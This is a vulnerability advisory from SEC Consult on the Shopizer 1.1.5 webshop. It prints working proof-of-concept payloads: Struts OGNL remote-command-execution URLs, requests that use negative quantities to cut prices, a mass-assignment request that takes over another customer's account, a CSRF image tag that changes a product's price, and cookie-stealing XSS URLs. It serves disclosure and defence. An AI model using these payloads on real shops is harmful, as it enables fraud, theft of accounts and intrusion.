Shopizer 1.1.5 - Multiple Vulnerabilities

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SEC Consult Vulnerability Lab Security Advisory < 20140710-0 >

=======================================================================

              title: Multiple critical vulnerabilities in Shopizer webshop

            product: Shopizer

 vulnerable version: 1.1.5 and below

      fixed version: v2 (new codebase)

             impact: critical

           homepage: http://www.shopizer.com/

              found: 2012-01-10

                 by: Johannes Dahse, Johannes Greil

                     SEC Consult Vulnerability Lab

                     https://www.sec-consult.com

=======================================================================

 

Vendor description:

- -------------------

Shopizer is an open source java shopping cart and e-commerce content

management software (CMS). The system is built on Struts 2, Hibernate and

Spring. JQuery ui and ajax are heavily used on the ui as well as DWR and

Struts2-jQuery plug-in. (http://www.shopizer.com/)

 

 

Vulnerability overview/description:

- -----------------------------------

Shopizer is prone to at least the following vulnerabilities, some of them are highly

critical:

 

1.) Remote Command Execution

 

Shopizer 1.1.5 is using Apache Struts 2.2.1.1 and is thus vulnerable to Remote

Command Execution. Shopizer 1.1.3 and below is built on Apache Struts 2.1.6

and is also affected.

 

Fore more details please refer to:

 * https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm#a18

 * http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

 

This affects the shop and admin interface (central).

 

2.) Manipulation of product prices

 

When buying products in Shopizer the product costs for a single product is

calculated by the selected quantity times the price of the product. The

total costs of all products is the adding of all product costs. An attacker

can specify negative quantities to decrease the total costs.

 

This affects the shop.

 

3.) Manipulation of customer data / mass assignment

 

An attacker can change the contact details of a customer by modifying the

customerId in the change request. In example this allows him to modify the

shipping address to retrieve products bought by another customer.

 

Furthermore, a malicious admin user (sm-central) is able to change the

passwords of other user accounts by appending a "customer.customerPassword"

HTTP parameter when saving user details. This is possible _although_ there

is no UI (form field) for this within the admin interface.

 

This affects the shop and admin interface (central).

 

4.) Cross-Site Request Forgery

 

Modifying customer data is also prone to CSRF attacks. Additionally, the

attacker can change customer passwords, shop configuration, product details

and product prices by sending CSRF requests to the administration interface.

 

This affects the shop and admin interface (central).

 

5.) Missing anti brute force protection

 

No protection against brute force attacks regarding login credentials is

implemented. Attackers can guess for weak passwords of users, as the

password policy of the shop only allows exactly between 6 and 8 characters.

The use of special chars or digits is not being enforced.

 

This affects the shop and admin interface (central).

 

6.) Cross-Site Scripting

 

The Shopizer Admin Interface suffers from multiple reflected XSS

vulnerabilities.

 

 

 

Proof of concept:

- -----------------

1.) Remote Command Execution in Struts

 

a) Via exception

 

The following URL will trigger an exception for an invalid "productId" data

type and Struts will re-evaluate the specified value as OGNL expression. An

attacker can successfully bypass security restrictions of Struts and execute

arbitrary Java code, leading to Remote Command Execution.

  /shop/product/reviews.action?product.productId=secconsult'%2b(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'

 

Other numeric parameters are affected as well.

 

b) Via ParameterInterceptor

 

The following URL will store a OGNL expression in the property "search" of

type String. This OGNL expression can then be accessed by a dynamic function

call in another parameter leading to Remote Command Execution.

  /shop/search.action?search=(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))(secconsult)&z[(search)('secconsult')]=true

 

   

2.) Manipulation of product prices

 

Assuming the shop has a product1 (300$) and a product2 (290$) for the total

costs of 590$. The following steps can be reproduced by a malicious user to

decrease the total costs when buying those products:

 

  a) Add product1 and product2 to the shopping cart

  b) Go to the shopping cart and press "recalculate"

  c) Intercept the ajax DWR request and modify the number reference of the

     parameter "productQuantity" for product2 to a negative value (-1):

 

    c0-e3=string:2

    c0-e4=number:-1

    c0-e1=Object_Object:{productId:reference:c0-e3, productQuantity:reference:c0-e4}

 

  d) The new costs for product2 now recalculate to: -1 x 290 = -290$

  e) the new total costs is: product1 + product2 = 300$ + (-290$) = 10$

  f) continue shopping and pay 10$ for products worth 590$.

 

This is especially critical for shops that only provide digital products.

 

Furthermore, during the second step of the checkout process it is

possible to add a negative quantity of products exploiting a Shopizer's

feature called "standalone shopping cart". This results in a negative price.

By issuing the following specially crafted request in the separate tab of

the web browser, while the first tab contains the second step of the checkout

process, the total price will be decreased. Note that the page must be

refreshed after the request to reflect the changes.

 

  /shop/cart/addToCart?merchantId=1&productId=43&qty=-240

 

 

3.) Manipulation of customer data / mass assignment

 

It's possible to overwrite user data of an arbitrary

user and gain access to his account and personal information _when

registering a new user_.

To achieve this, a malicious user has to add the customer.customerId

parameter to the HTTP request and specify the value of the parameter

to match the target user e.g. 87 when registering a new user.

For example, the following request will overwrite the user data

including username and password of the user with the ID 87.

 

  POST /shop/profile/register.action HTTP/1.1

  [...]

  struts.token.name=struts.token&struts.token=8393EPOT4BN4CNYAJ6ETRI9DNR2FSP1R&formstate=list&customer.customerNick=SecTest&newPassword=SecTest123&repeatNewPassword=SecTest123&customer.customerCompany=SecTest&customer.customerGender=M&customer.customerTitel=SecTest&customer.customerFirstname=SecTest&customer.customerLastname=SecTest&customer.customerTelephone=&customer.customerEmailAddress=sectest@example.com&customer.customerCountryId=14&customer.customerZoneId=95&customer.customerPostalCode=SecTest&customer.customerCity=SecTest&customer.customerStreetAddress=SecTest&customer.customerHouseAddress=SecTest&captcha_honeypot=&customer.customerPrivacyRules=1&customer.customerId=87

 

In this case no account confirmation is needed. Instant access

to the overwritten account and its data is possible using the

new username SecTest and the newly specified password! An attacker is able to

access sensitive data (order information,

personal information etc.).

 

Additionally, the following request will overwrite the contact data of customer id 10,

including the name, shipping address and billing address:

  /shop/profile/changeAddress.action?formstate=list&customer.customerId=10&customer.customerCompany=secconsult&customer.customerGender=&customer.customerTitel=&customer.customerFirstname=secconsult&customer.customerLastname=secconsult&customer.customerTelephone=00&customer.customerEmailAddress=owned@secconsult.com&customer.customerCountryId=14&customer.customerZoneId=95&customer.customerPostalCode=1190&customer.customerCity=secconsult&customer.customerStreetAddress=secconsult&customer.customerHouseAddress=17&customer.customerAnonymous=false&customer.customerBillingTitel=&customer.customerBillingFirstName=secconsult&customer.customerBillingLastName=secconsult&customer.customerBillingStreetAddress=secconsult&customer.customerBillingHouseAddress=17&customer.customerBillingCity=secconsult&customer.customerBillingZoneId=95&customer.customerBillingState=secconsult&customer.customerBillingPostalCode=1190&customer.customerBillingCountryId=14&customer.customerLang=de&customer.customerPrivacyRul

es=1&customer.

customerNick=secconsult

 

Note that in this specific case the account of the attacker and the victim will not

be able to login again after the attack, because the nickname will be

overwritten and found twice during login.

 

Furthermore, the administration interface does not offer a UI to change user

passwords. By appending the parameter "customer.customerPassword" an attacker

is able to change the password of arbitrary users within the customer details

page.

 

 

4.) Cross-Site Request Forgery

 

The following image will alter the product price for the product 30 when

rendered by the browser of an logged in webshop administrator:

 

  <img

src="/central/catalog/saveproduct.action?categ=30&product.productType=1&product.productStatus=true&__checkbox_product.productStatus=true&__checkbox_product.productVirtual=true&__checkbox_product.productIsFree=false&dateavailable=2012-01-24&price=1.00&product.productExternalDl=1&names[0]=secconsult&seo[0]=secconsult&title[0]=secconsult&highlights[0]=secconsult&descriptions[0]=secconsult&metadescriptions[0]=secconsult&downloadurl[0]=&uploadimage=&weight=1.0&width=1.0&length=1.0&height=1.0&product.productQuantity=99&product.productQuantityOrderMax=99&product.productSortOrder=1&product.productTaxClassId=1&product.productId=30&product.productImage=&product.productImageLarge=&product.productImage1=&product.productImage2=&product.productImage3=&product.productImage4="/>

 

Furthermore, the parameter "__checkbox_product.productIsFree" can also be set

to "true".

 

Additionally, the administration interface allows to overwrite the password

hash of every customer which can also be exploited via CSRF.

 

The product review form is also vulnerable to Cross-Site Request Forgery

attacks. A similar request to the following URL will result in a product

review being posted in the context of the currently logged in user. Note

that the URL does not contain any parameter that is holding a nonce value.

 

 

/shop/product/createReview.action?product.productId=43&rating=5&star=5&reviewText=Excellent&=

 

 

5.) Missing anti brute force protection

 

No proof-of-concept is necessary. See source:

sm-central/src/com/salesmanager/central/profile/ProfileAction.java

Line 525 - 530 of shopizer 1.1.5

 

 

6.) Cross-Site Scripting

 

  /central/orders/searchcriteria.action?customername="><script>alert(document.cookie)</script>

  /central/catalog/productlist.action?productname="><script>alert(document.cookie)</script>&availability=2"><script>alert(document.cookie)</script>&status=2"><script>alert(document.cookie)</script>

 

E.g. source code:

sm-central/WebContent/orders/orderlist.jsp

Line: 118

 

SEC Consult assumes, that many more XSS vulnerabilities exist within this

software as no proper filtering is implemented.

 

 

 

Vulnerable / tested versions:

- -----------------------------

All vulnerabilities could be reproduced with Shopizer 1.1.5 and 1.1.3

 

 

 

Vendor contact timeline:

- ------------------------

2012-01-10: The vulnerabilities have been found during a short blackbox test

            of a shopizer installation during a customer project

2012-12-20: Customer allows contacting vendor

2013-01-10: Contacting vendor through support@shopizer.com, fast reply,

            sending advisory

2013-01-22: Asking for status update, reply: vendor takes a look

2013-02-26: Asking for status update, vendor has some questions regarding

            version numbers

2013-03-22: Asking for status update again

2013-03-23: Vendor: Release 2 is scheduled for June

2013-06-25: Asking for status update, no answer

2013-07-01: Sending deadline for advisory release

2013-07-07: Vendor: Version 2 of shopizer delayed

2013-07-08: Asking for new release date

2013-07-09: Vendor: moving from Struts to Spring & Spring security

2013-10-03: Asking again for release date

2013-10-06: Vendor: Release shortly

2013-12-10: Asking for update

2013-12-12: Vendor: Release date set for January 2014

2014-06: Vendor releases v2

2014-07-10: SEC Consult releases security advisory

 

 

 

Solution:

- ---------

Using the old version branch 1.x is not recommended as there are no security

fixes implemented by the vendor.

 

Version 2 has been released by the vendor, but it has not been tested by SEC

Consult and it is unclear whether the issues have been solved.

 

 

Workaround:

- -----------

These workarounds have to be implemented in source:

* Update the Apache Struts library to the latest version available.

* Disallow negative product quantities.

* Identify customers by session and not by customerId parameter.

 

Furthermore, change the default login (admin:password) for the administration

interface.

 

 

Advisory URL:

- -------------

https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm

 

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

 

SEC Consult

Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius

 

Headquarter:

Mooslackengasse 17, 1190 Vienna, Austria

Phone:   +43 1 8903043 0

Fax:     +43 1 8903043 15

 

Mail: research at sec-consult dot com

Web: https://www.sec-consult.com

Blog: http://blog.sec-consult.com

Twitter: https://twitter.com/sec_consult

 

EOF J. Dahse, J. Greil / 2012, 2013, 2014

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